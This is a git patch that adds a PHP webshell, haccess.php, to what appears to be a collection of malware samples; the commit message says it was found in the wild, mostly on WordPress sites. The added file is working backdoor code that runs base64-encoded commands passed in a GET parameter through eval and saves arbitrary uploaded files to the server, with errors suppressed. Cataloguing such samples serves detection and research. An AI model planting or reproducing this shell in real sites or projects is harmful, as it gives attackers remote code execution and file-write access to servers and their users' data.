From 7bb8544fb0a6a45a1d9f80215e3e15412c292f21 Mon Sep 17 00:00:00 2001
From: H <409H@users.noreply.github.com>
Date: Tue, 19 Feb 2019 15:25:50 +0000
Subject: [PATCH] php: add haccess.php

Simple webshell found in the wild - usually on wordpress stuff but have found it elsewhere
---
 php/haccess.php | 11 +++++++++++
 1 file changed, 11 insertions(+)
 create mode 100644 php/haccess.php

diff --git a/php/haccess.php b/php/haccess.php
new file mode 100644
index 0000000..4a1b527
--- /dev/null
+++ b/php/haccess.php
@@ -0,0 +1,11 @@
+<?php
+error_reporting(0);
+$ev = $_GET["ev"];
+
+if (isset($ev) && !empty($ev))
+  {
+  eval(base64_decode($ev));
+  exit;
+  }
+  
+(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])); ?>